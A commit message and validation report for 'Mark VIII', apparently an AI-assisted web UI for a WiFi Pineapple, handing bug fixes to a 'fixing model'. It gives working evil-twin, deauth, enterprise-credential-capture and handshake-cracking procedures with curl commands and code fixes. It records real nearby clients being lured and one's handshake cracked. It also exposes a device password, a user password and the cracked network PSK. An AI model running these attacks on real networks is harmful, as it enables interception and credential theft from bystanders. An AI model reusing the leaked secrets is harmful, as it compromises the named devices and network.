- deauth/kick: use full PINEAPPLE_DEAUTH_CLIENT hak5cmd app name (BUG 1)
- _allow_all_ssids: PINEAPPLE_NETWORK_FILTER_MODE deny so karma lets
clients associate after deploy (BUG 2)
- enterprise inner EAP (BUG 3), two root causes found by live experiment:
- hostapd never wildcard-matches a bare `*` identity for phase-2
lookups; eap_users now uses quoted empty prefix `""* ... [2]`,
which prefix-matches any inner identity
- pineape_auth_pass=1 forwards inner EAP to pineapd, which has no
standalone responder; deploy forces 0 and stop restores 1
Residual: plaintext MSCHAPv2 capture is firmware-blocked on 24.10.1
(MSG_DEBUG compiled out of the karma wpad; `-f` silently ignored);
documented in code comments and the validation report.
- ISSUE 4: point pineapd.@hostapd[0].mgmtiface at wlan1wpa during 5 GHz
WPA deploys so handshakes/loot populate; cleared on stop
- ISSUE 5: radio0 set_ap path polls 90 s across the wifi-reload window
and retries set_ap once if the iface still has not appeared
- ISSUE 6: skills docs use `llc && eth.type == 0x888e` (firmware tcpdump
matches 0 frames on `eapol`)
- ISSUE 7: capture state helper detects dead-pid / iface-down, cleans up,
status reports {running:false, stale:true} instead of zombie running
- tests: fix global os.path monkeypatch leaks between test modules that
broke test_mk8_events/test_reliability_api under discovery; add
regression coverage for all fixes above (463 tests green)
Live validation evidence and newly discovered firmware quirks
(DEVICE_FILTER_DELETE no-op, dropbear rate limiting) recorded in
docs/validation/2026-08-23-pineap-validation-report.md.
27 KiB
Mark-VIII PineAP Attack Validation — 2026-08-23
Fix round 2026-08-23 (post-validation) — status update
All defects below were fixed and re-validated live on the same hardware.
- BUG 1 — FIXED.
DEAUTH_CLIENT→PINEAPPLE_DEAUTH_CLIENTat both call sites. Live:/api/attacks/deauthand/api/pineap/clients/kickreturnok:true; on-wire effect confirmed (client dropped from the twin, kept off by kick's deny filter; re-associates after filter clear).- BUG 2 — FIXED.
_allow_all_ssids()now issuesPINEAPPLE_NETWORK_FILTER_MODE deny. Live: after any deploy,GET /api/pineap/filters/ssidreadsdeny+ empty without manual help, and clients associate to twins unaided.- BUG 3 — FIXED (root cause found by live experiment). Two independent causes:
- eap_user_file grammar.
hostapd_get_eap_user()never wildcard-matches a bare*identity for phase-2 lookups (!phase2guard); phase-2 entries need a quoted identity. The fix uses quoted empty prefix""* <methods> "<pw>" [2], which prefix-matches any inner identity. Proven against stock hostapd 2.10 on a wired veth loopback first, then live on the Pager.pineapd.@hostapd[0].pineape_auth_pass='1'makes the karma hostapd forward inner EAP to pineapd, which has no responder for a standalone AP → instant inner EAP-Failure after the TLS tunnel. Deploy now forces it to0(standalone hostapd terminates inner MSCHAPv2/GTC/PAP itself); stop restores1. Live: API-deployed enterprise twin + PEAP/MSCHAPv2 client → repeated fullCTRL-EVENT-CONNECTED(EAP success + 4-way) on firmware wpad 2.12-devel.- BUG 3 residual (firmware-blocked): plaintext credential capture is not possible on 24.10.1: the patched wpad compiles out MSG_DEBUG/MSG_MSGDUMP stdout logging (no MSCHAPv2 hexdumps anywhere),
-f <log>is silently ignored (fd1→/dev/null), and passthrough mode cannot work without an upstream RADIUS backend. Withauth_pass=0nothing feedshostap_basic/hostap_chalresp. Phase-1 outer identities remain sniffable in plaintext via the capture API. This limitation is documented in code comments.- Secondary
-fbug — FIXED:_start_ent_hostapdno longer passes-fat all.- ISSUE 4 — FIXED: 5 GHz WPA deploys now set
pineapd.@hostapd[0].mgmtiface=wlan1wpaso pineapd recognizes the radio1 twin (same mechanism that populateshostap_client); cleared again on stop.- ISSUE 5 — MITIGATED: radio0 daemon
set_appath now polls up to 90 s across thewifi reloadwindow and retriesset_aponce if the iface still hasn't appeared. Live deploy verifiedtruefirst try.- ISSUE 6 — FIXED: skill docs now use
llc && eth.type == 0x888einstead ofeapol.- ISSUE 7 — FIXED: capture state helper detects dead-pid / iface-down, kills leftovers, cleans the pidfile, and status reports
{running:false, stale:true}instead of a zombierunning:true. Verified live by killing tcpdump under an active capture.- Test suite: 463 tests green (was 457 with 6 pre-existing failures caused by global
os.pathmonkeypatch leaks between test modules — also fixed). New regression coverage: deauth app name, SSID-filter-mode app name, eap_users grammar,pineape_auth_passset/restore, capture stale detection, radio0 set_ap retry.- New firmware quirks discovered while fixing (document here for future rounds):
PINEAPPLE_DEVICE_FILTER_DELETE deny <mac>returns rc=0 but does NOT remove the entry; only_CLEARworks. The kick regression "delete entry → re-associate" must use clear.- dropbear rate-limits rapid successive SSH logins ("Permission denied" bursts).
- Killing hostapd while another instance holds the phy iface wedges cfg80211 into D-state (known §5 issue): never tear down wlan1ent while a foreign hostapd still runs.
Status: Suite executed against a live WiFi Pineapple Pager (firmware Pineapple Pager 24.10.1,
hostname-reachable at root@172.16.52.1, Mark VIII UI on :8080) with a Kali victim client
(bzuccaro@192.168.1.103, wlan0 a0:a4:c5:93:f8:05). Both reachable with password "Bryce9205"
Purpose of this document: hand off every validated behavior and every defect to a fixing model.
Each defect has an exact file:line, reproduction, root cause, and recommended fix. Everything below
was observed live; no assertion is speculative. Device evidence lives under /root/loot/** on the
pineapple and /tmp/znet*.hc22000 on Kali.
In-scope networks (authorized):
Znet— WPA2 (actually SAE-mixed per on-air RSN:[WPA2-SAE+FT/SAE-CCMP][SAE-H2E]), 5 GHz BSSIDs on ch 36 / 44 / 48 / 108 / 116 / 153. PSK =EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY.Znet-Open— open (enc0in recon DB), 2.4 GHz ch 6 (B6:8B:A9:17:2A:6E) and ch 11 (B6:8B:A9:17:47:33).
1. Results summary
| # | Attack / capability | Result | Evidence |
|---|---|---|---|
| 1 | Evil WPA (PSK) 5 GHz — radio1 wlan1wpa |
PASS | Twin authenticated Kali + 2 real clients; 4-way captured on wlan1mon; .hc22000 cracked → PSK recovered. |
| 2 | Evil WPA (PSK) 2.4 GHz — radio0 wlan0wpa |
PASS (flaky deploy) | 4-way captured on wlan0mon; cracked → PSK recovered. |
| 3 | Evil Open — radio0 wlan0open (BSSID-spoofed) |
PASS | Kali associated to spoofed-BSSID twin; bidirectional IP/DNS/TCP captured on wlan0mon. |
| 4 | Evil Enterprise — standalone wlan1ent PineAPE |
FAIL | AP + TLS tunnel work; inner EAP auth never completes; zero credentials captured. |
| 5 | Deauth — /api/attacks/deauth, /api/pineap/deauth/client |
FAIL (bug) | unknown app DEAUTH_CLIENT. Underlying PINEAPPLE_DEAUTH_CLIENT works (on-wire deauth frames). |
| 6 | Client kick — /api/pineap/clients/kick |
FAIL (same bug) | Deny filter set, but deauth half fails → client never actually kicked. |
| 7 | Attack capture API (/api/attacks/capture) |
PASS | tcpdump start/stop/status on wlan0mon/wlan1mon; pcaps analyzable. |
| 8 | Handshake export (/api/attacks/export/hc22000) |
PASS | Valid .hc22000; cracked with hashcat -m 22000. |
| 9 | PineAP settings / filters API | PASS | mode/add/delete/clear; gotcha: allow+empty blocks karma association. |
| 10 | MCP harness (POST /mcp) |
PASS | all tools; attack.deauth inherits bug #5. |
| 11 | Web UI click-through | PASS | login → Evil WPA deploy ("Applied and verified on device", LIVE) → capture → export → stop. |
Two critical defects to fix first: #5 (deauth/kick, one-character-class bug) and #6's hidden twin
#2 (_allow_all_ssids short-name bug that blocks all evil-twin association until a human sets the
filter to deny). See §3.
2. Environment notes (facts the fixer needs)
2.1 hak5cmd dispatches by FULL app name as argv[1]
/usr/bin/hak5cmd (Pager 1.1.0) is dispatched by app name. Invoking the symlinks
(/usr/bin/PINEAPPLE_DEAUTH_CLIENT) or passing the full PINEAPPLE_* name as argv[1] both work:
hak5cmd DEAUTH_CLIENT <ap> <client> <ch> # FAILS: "unknown app DEAUTH_CLIENT"
hak5cmd PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0, deauth frames on wire
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0
Verified app names present on the unit (from hak5cmd with no args): PINEAPPLE_DEAUTH_CLIENT,
PINEAPPLE_DEVICE_FILTER_*, PINEAPPLE_MAC_FILTER_*, PINEAPPLE_NETWORK_FILTER_*,
PINEAPPLE_SSID_FILTER_*, PINEAPPLE_SSID_POOL_*, PINEAPPLE_HOPPING_*, PINEAPPLE_MIMIC_*,
PINEAPPLE_EXAMINE_*, PINEAPPLE_RECON_*, PINEAPPLE_SET_BANDS, PINEAPPLE_LOOT_ARCHIVE.
The hak5() helper (server.py:5646) passes [HAK5CMD] + args and the filter calls in the codebase
use full names (those work). The deauth and _allow_all_ssids calls use short names (broken).
2.2 SSID / client filter semantics on this firmware
- Filter mode
allow= whitelist. With an empty list this makes karma respond to nothing, so clients cannot associate to evil twins. - Filter mode
deny= blacklist (allow-by-default). With an empty list everything is allowed. - The evil-twin flow requires both SSID and client filters in
denymode with empty lists. - Mark VIII's
_allow_all_ssids()is supposed to set the SSID filter todenybut is broken (bug #2).
2.3 Deauth injection phy
h_attacks_deauth chooses the inject interface from the channel band (wlan1mon for 5/6 GHz,
wlan0mon for 2.4 GHz) and switches _pineap INTERFACE INJECT for 2.4 GHz. On 5 GHz the phy is
pinned by the active AP interface, so deauth on a 5 GHz evil twin's channel works. The 5 GHz monitor
(wlan1mon) does not reliably show injected 5 GHz deauth frames (phy1 beacon-offload quirk), so
on-wire deauth proof for 5 GHz is best done on 2.4 GHz (wlan0mon) where own-TX is visible, or via
client-side disconnect logs.
2.4 Capture filter quirk
On this firmware's monitor interfaces tcpdump -r cap 'eapol' matches 0 frames even when EAPOL
is present. The working filter is llc and ether proto 0x888e. (Affects any analysis/tooling that
grep's eapol.)
2.5 pineapd UCI baseline (guard-enforced known-good)
pineapd.@hostapd[0].wpaiface='wlan0wpa' (only the 2.4 GHz WPA iface is the daemon's "own AP").
mgmtiface='wlan0mgmt'. wlan1mon.hop baseline is 0 in the guard set
(PINEAPD_SAFE_UCI, server.py:4639); monitors park between scans, hopping resumes during recon.
2.6 Reliability core interactions observed
The rollback watchdog arms around attack_deploy / attack_stop and restores the pre-op UCI snapshot
if local liveness (UI :8080 + monitor presence) fails for sustained ticks. Rapid deploy/stop cycles
that drop the radios trigger restores that can resurrect older AP states (the wlan0open Znet-Open
twin reappeared twice after we had stopped it). The watchdog self-exits after ~120 quiet ticks.
3. Defects to fix (ranked)
BUG 1 — CRITICAL: Deauth / kick invoke the wrong hak5cmd app name
Impact: /api/attacks/deauth, /api/pineap/deauth/client, /api/pineap/clients/kick (deauth
half), and MCP attack.deauth / pineap.kick_client all fail with
unknown app DEAUTH_CLIENT. The entire deauth attack is non-functional through Mark VIII.
Locations (all in payload/user/remote_access/pager-webui/server.py):
server.py:3009—_deauth_client_via_iface()rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30)server.py:4602—h_attacks_deauth()rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30)h_client_kick(server.py:963) and MCPkick(server.py:5368) both call_deauth_client_via_iface, so fixing3009fixes them. Their filter half (PINEAPPLE_DEVICE_FILTER_*) is already correct.
Root cause: short name DEAUTH_CLIENT; hak5cmd requires the full app name PINEAPPLE_DEAUTH_CLIENT
(see §2.1). HAK5CMD defaults to /usr/bin/hak5cmd (server.py:31).
Fix: replace 'DEAUTH_CLIENT' with 'PINEAPPLE_DEAUTH_CLIENT' at server.py:3009 and :4602.
Verification (live-proven):
# before fix
curl -b cookie -H 'Content-Type: application/json' \
-d '{"bssid":"B6:8B:A9:17:2A:6E","client":"A0:A4:C5:93:F8:05","channel":6}' \
http://172.16.52.1:8080/api/attacks/deauth
# => {"error":"deauth failed","detail":"unknown app DEAUTH_CLIENT\n"}
# working device-level invocation (deauth client from our own evil twin):
/usr/bin/PINEAPPLE_DEAUTH_CLIENT B6:8B:A9:17:2A:6E A0:A4:C5:93:F8:05 6 # rc=0
# on-wire proof on wlan0mon:
tcpdump -r cap -nn 'wlan type mgt subtype deauth' # SA=spoofed BSSID, DA=client
Regression check: run /api/pineap/clients/kick on an associated client and confirm it is
disconnected AND stays disconnected while the deny filter is present; then delete the filter entry
and confirm re-association works.
BUG 2 — CRITICAL: _allow_all_ssids() uses a short name and silently fails
Impact: after every evil-twin deploy, karma remains in allow (whitelist) mode → no client can
associate to the twin. This is why the Evil Open association only worked after a human set the
filter to deny via the API.
Location: server.py:3691-3695
def _allow_all_ssids():
"""Set the SSID filter to deny mode (allow-by-default) so karma
responds to any probed SSID."""
rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
return rc == 0
SSID_FILTER_MODE is a short name. The valid app names on this unit are
PINEAPPLE_SSID_FILTER_MODE and PINEAPPLE_NETWORK_FILTER_MODE. The return value is ignored by all
callers (_deploy_wpa_open at :3774, _deploy_enterprise at :4277), so it fails silently.
Fix: use a full app name. Consistency check: the filter API for ssid kind uses prefix
PINEAPPLE_NETWORK_FILTER (server.py:5722), and the deployed pineapd.@ssid_filter[0].mode is
deny in the guard baseline — but the live daemon readback was allow after deploy, proving the
call did not land. Verify on-device that the chosen name flips
GET /api/pineap/filters/ssid to {"mode":"deny"}.
Verification:
curl -b cookie http://172.16.52.1:8080/api/pineap/filters/ssid # must show "deny" after a deploy
BUG 3 — HIGH: Evil Enterprise credential capture broken (inner EAP never completes)
Impact: the Enterprise attack is non-functional: the AP comes up, clients associate, the TLS
tunnel builds, but the server immediately sends EAP-Failure after the phase-2 identity for every
inner method (MSCHAPv2, GTC, TTLS-PAP). Zero credentials land in hostap_basic,
hostap_chalresp, or /root/loot/enterprise/captures.json.
Locations:
_eap_users_text—server.py:3836-3853(writes theeap_user_file)_deploy_enterprise—server.py:4217-4325_ent_conf_text—server.py:4102_start_ent_hostapd—server.py:4173-4202_ensure_ent_certs—server.py:3875
Observed behavior (reproducible):
- Deploy succeeds (
verified: true,ctrl_linked: true, hostapdstate=ENABLEDonwlan1ent, bssid02:13:37:ae:8e:7c, ch44,ieee8021x=1 eap_server=1 wpa_key_mgmt=WPA-EAP). - Kali (PEAP/MSCHAPv2, PEAP/GTC, and TTLS/PAP all tried) associates and the outer TLS tunnel
completes; the client then sees
EAP-PEAP: Phase 2 Failure/EAP-Failure. - hostapd (karma-patched
wpad, v2.12-devel) logs:IEEE 802.1X: authentication failed - EAP type: 0 (unknown) IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP) eap_user_fileparser on this build requires quoted identities for non-wildcard entries: unquotedvictim@znet.local→Invalid EAP identity (no " in start) on line 1.
eap_users formats tried, all failing identically:
* PEAP,TTLS+* MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP "pw" [2](what the code writes today)* PEAP,TTLS+* MSCHAPV2 "pw"(no[2])* PEAP,TTLS+* MSCHAPV2 "pw" [2]"*" PEAP,TTLS+"*" MSCHAPV2 "pw" [2](quoted wildcards)victim@znet.local PEAP,TTLS+victim@znet.local MSCHAPV2 "pw"(unquoted → parse error)"victim@znet.local" PEAP,TTLS+"victim@znet.local" MSCHAPV2 "pw"(quoted exact)* PEAP,TTLS+* TTLS-PAP "pw"(clienteap=TTLS phase2="auth=PAP") — also fails- Passphrase matched (
VictimPass123!) and mismatched (dummy) — no difference
Fixer investigation pointers (open questions):
- Verify whether
pineap_enable/pineape_enable/pineape_auth_enableon the standalone instance actually arm PineAPE auth-capture on this build (they returnOK, and the startup log showsPINEAP: setting MAC filter mode DENY, but no capture events ever appear). - Confirm the correct
eap_user_filegrammar for THISwpadbuild (source of the[2]flag and whether a phase-2-only entry is required for the inner lookup). - Test with a controlled EAP client (
eapol_testfrom a host withwpa_supplicantdev headers) and with sysloglogger_syslog_level=0on the instance to see why the inner method is never offered. - Compare the Mark VIII standalone conf to what the stock daemon would generate for
set_apenctypewpa2(the daemon path is broken witheap_server_erp=1; confirm whether removing just that key makes the stock path capture). hostap_basic/hostap_chalrespare populated by pineapd from the karma hostapd socket; confirmpineapd.@hostapd[0].mgmtiface='wlan1ent'is sufficient (it is set and survives), and whether/etc/init.d/pineapd reloadafter deploy is enough.
Verification: with a fixed enterprise deploy, a PEAP/MSCHAPv2 client must (a) complete
EAPOL successfully, and (b) yield rows in hostap_basic (identity) and hostap_chalresp
(challenge/response), which must appear in GET /api/pineap/enterprise/radius and be crackable via
GET /api/pineap/enterprise/export/hashcat (hashcat -m 5500).
Secondary bug found while here: _start_ent_hostapd (server.py:4173) starts hostapd with
-f ENT_LOG on the first attempt but drops -f on the fallback attempt (server.py:4183), so
the enterprise log file stays empty — the fixer will need another log channel (syslog) while
debugging.
ISSUE 4 — MEDIUM: 5 GHz handshake loot pipeline (hostap_handshake / /root/loot/handshakes) never populates
Symptom: handshakes complete on the radio1 twin (wlan1wpa) — hostapd logs
EAPOL-4WAY-HS-COMPLETED <client> — but hostap_handshake stays empty and no files are written to
/root/loot/handshakes. The Handshakes/Loot UI shows 0.
Likely root cause: pineapd.@hostapd[0].wpaiface='wlan0wpa' only (2.4 GHz). pineapd treats
wlan0wpa as its own handshake-logging AP; the radio1 wlan1wpa twin (created via the UCI/radio1
path, _apply_radio1_ap) is not recognized, so pineapd never logs own-AP handshakes for it.
Working path (validated end-to-end): the monitor capture API + export:
POST /api/attacks/capture {iface:wlan1mon, action:start}before the client connects.- Client 4-way happens → the pcap contains EAPOL (
tcpdump -r cap 'llc and ether proto 0x888e'). GET /api/attacks/export/hc22000→ hcxpcapngtool →.hc22000→hashcat -m 22000cracks it.
Fixer options: either teach the deploy to make pineapd recognize the radio1 WPA iface (careful:
wpaiface is a single shared daemon setting; two ifaces may need a list or the mgmtiface trick), or
surface the monitor-capture+export flow as the supported 5 GHz evidence path. The UI's
"Handshakes Captured" counter reads hostap_handshake and will show 0 for 5 GHz until this is fixed.
ISSUE 5 — MEDIUM: 2.4 GHz (radio0 daemon set_ap) attack deploy is flaky
Symptom: _deploy_wpa_open 2.4 GHz path (server.py:3725-3753) calls the daemon
PUT /api/settings/wifi/set_ap for wlan0wpa/wlan0open. The resulting wifi reload drops the
radios for ~40–60 s (during which iw dev can show zero interfaces and the deploy poll may return
verified: false). Afterwards:
- the stock daemon can revert the UCI (
wlan0wpa.ssidback topager-wpa,disabled=1), and - the reliability rollback watchdog can restore an older snapshot (resurrecting a previously stopped
AP, e.g. the
wlan0openZnet-Open twin reappeared twice).
Workarounds that made it work: deploy once → poll iw dev wlan0wpa info until ssid Znet →
start a fresh capture (the old one died when the radios dropped) → connect the client. The
handshake then captures and cracks normally.
Fixer pointers: make the deploy poll tolerate the radio-restart window (the 5 GHz/radio1 UCI path
already behaves better); consider whether the radio0 path should write UCI + wifi reload instead of
the daemon set_ap, and whether the watchdog should be suppressed until the radios reconverge.
ISSUE 6 — LOW: tcpdump eapol filter matches nothing on this firmware
Use llc and ether proto 0x888e instead. Relevant to any in-app capture analysis, docs, or tooling
that filters on eapol.
ISSUE 7 — LOW: monitor capture dies when the radio restarts mid-capture
When a wifi reload drops the monitor iface during a capture, the pcap ends up with 1 frame while
the API still reports running: true (the tcpdump process is gone). The capture API should detect
iface-down / dead-pid and either restart or report stopped.
4. Per-attack validation evidence (for the report)
4.1 Evil WPA 5 GHz — PASS (crackable)
- Deploy:
POST /api/attacks/deploy {"kind":"wpa","ssid":"Znet","passphrase":"EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY","enctype":"psk2","channel":44}→{"iface":"wlan1wpa","band":"5","verified":true}. - AP live:
wlan1wpaBSSID02:13:37:ae:8e:7c, hostapdwpa=2 key_mgmt=WPA-PSK. - Client auth:
wpa_supplicantcompleted full 4-way (Key negotiation completed, PTK=CCMP GTK=CCMP); hostapd loggedEAPOL-4WAY-HS-COMPLETED a0:a4:c5:93:f8:05; a real nearby client (e6:75:7f:45:fd:57) also got caught (full handshake) and another (68:9e:19:d1:6e:e1) hit a PSK mismatch (evidence the twin attracts real clients). - Capture:
wlan1monpcap held 170 EAPOL key frames. - Convert:
hcxpcapngtool -o /root/loot/hc22000/znet.hc22000 hs_client.cap. - Crack (on Kali):
hashcat -m 22000 /tmp/znet.hc22000 /tmp/wl.txt --potfile-disableBoth our client and the real client's handshakes cracked to the real PSK.9b029677bdecbadd3bc3c3a211627f96:021337ae8e7c:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY 329438490c9d7af672eb01f2ceb26bc0:021337ae8e7c:e6757f45fd57:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
4.2 Evil WPA 2.4 GHz — PASS (crackable, flaky deploy)
- Deploy
channel:6→wlan0wpa(daemonset_ap). First two attemptsverified:falseand reverted by the daemon/watchdog; final attemptverified:true. Freshwlan0moncapture, client connected, 4-way captured (EAPOL key v1/v2), hostapdEAPOL-4WAY-HS-COMPLETED. - Crack:
8533e8028891cf997bbaf0d1880ca4be:001337aee050:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY.
4.3 Evil Open (Znet-Open) — PASS
- Deploy
{"kind":"open","ssid":"Znet-Open","channel":6,"bssid":"B6:8B:A9:17:2A:6E","country":"US"}→wlan0openlive with spoofed BSSIDb6:8b:a9:17:2a:6e(= real AP MAC), hostapd ENABLED. - Association initially FAILED until the SSID/client filters were set to
denyvia the API — this is bug #2 manifesting. After the fix to bug #2, the client associates (wpa_supplicant COMPLETED on the spoofed BSSID;/api/pineap/clientsshowsA0:A4:C5:93:F8:05onwlan0open). - Data plane through the twin (client IP
172.16.52.99/24on the twin):ping 172.16.52.1→ 4/4 replies- DNS
172.16.52.99 > 172.16.52.1.53query + NXDOMAIN reply - TCP SYN
172.16.52.99 -> 172.16.52.1.80All captured onwlan0mon(attack_wlan0mon_1787506980.cap). This is the on-wire MITM proof.
4.4 Evil Enterprise — FAIL (see BUG 3)
- AP verified, ctrl linked, client association recorded in
hostap_client(visible in/api/pineap/enterprise/radiusclients), but zero credentials anywhere.
4.5 Deauth / kick — FAIL via API (BUG 1), working at device level
- Device-level (works):
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>; on-wire deauth frames (SA=spoofed BSSID, "Unspecified reason") captured onwlan0mon; client dropped. - API (broken): see BUG 1.
- Kick: deny filter is applied (
/api/pineap/filters/clientshows the MAC) but the deauth half fails, so the client re-associates and is never kicked.
4.6 Capture / export / filters / MCP / UI — PASS
- Capture API start/stop/status both ifaces; export produced
/root/loot/hc22000/handshakes_*.hc22000; filter set_mode/add/delete/clear; MCPtools/list+attack.deploy|stop|status|capture,loot.handshakes,loot.enterprise_creds,recon.isearch; UI full flow on the Evil WPA page.
5. Recovery & hygiene observed during the suite
- Reboot was required once: after
_disable_enterprise_ap()raced our manual hostapd kills, the enterprise hostapd (hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf) entered D-state (uninterruptible) holding a cfg80211 lock;iw devhung indefinitely.rebootcleared it; Mark VIII auto-restarted (/etc/init.d/pagerwebui→running), pineapd PONG, monitors up, healthpass.mk8-guardre-applied safe UCI on boot. - Final device state after cleanup: all attacks stopped, no leftover APs, no tcpdump, 1 watchdog
self-exiting, Kali restored to
Znet,/api/healthenvpass. - Evidence remains on devices:
/root/loot/pcap/attack_*.cap(6 files),/root/loot/hc22000/(znet.hc22000,znet24.hc22000,handshakes_*.hc22000), extracted/root/loot/pcap/hs_client.cap,hs_client_24.cap; on Kali/tmp/znet.hc22000,/tmp/znet24.hc22000.
6. Reproduction command reference
# login
curl -c cj -H 'Content-Type: application/json' \
-d '{"username":"root","password":"<device-pw>"}' http://172.16.52.1:8080/api/login
# deploy evil wpa 5g / 2.4g / open / enterprise
curl -b cj -H 'Content-Type: application/json' \
-d '{"kind":"wpa","ssid":"Znet","passphrase":"<psk>","enctype":"psk2","channel":44}' \
http://172.16.52.1:8080/api/attacks/deploy
# status / stop / capture / export
curl -b cj http://172.16.52.1:8080/api/attacks/status
curl -b cj -H 'Content-Type: application/json' -d '{"kind":"wpa"}' http://172.16.52.1:8080/api/attacks/stop
curl -b cj -H 'Content-Type: application/json' -d '{"action":"start","iface":"wlan1mon"}' http://172.16.52.1:8080/api/attacks/capture
curl -b cj http://172.16.52.1:8080/api/attacks/export/hc22000
# filter checks (must be "deny" + empty for evil twins)
curl -b cj http://172.16.52.1:8080/api/pineap/filters/ssid
curl -b cj http://172.16.52.1:8080/api/pineap/filters/client
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/ssid
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/client
# device-level deauth (works) vs API (broken)
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>
curl -b cj -H 'Content-Type: application/json' \
-d '{"bssid":"<ap>","client":"<client>","channel":6}' http://172.16.52.1:8080/api/attacks/deauth
# crack
hashcat -m 22000 znet.hc22000 wl.txt --potfile-disable
7. Suggested fix order
- BUG 1 (deauth app name) — 2-line change, restores deauth + kick + MCP deauth/kick.
- BUG 2 (
_allow_all_ssidsapp name) — restores evil-twin association for all attack types. - BUG 3 (enterprise inner EAP) — needs the investigation in §BUG 3 before a fix.
- ISSUE 4 (5 GHz loot pipeline) — decide capture-path vs. daemon-recognition.
- ISSUE 5 (radio0 deploy flakiness) + ISSUE 6/7 (capture nits) — hardening.
Add regression coverage to tests/test_attacks.py (assert PINEAPPLE_DEAUTH_CLIENT is used) and to
tests/test_pineap_*.py for the filter-mode assertion (deny-after-deploy).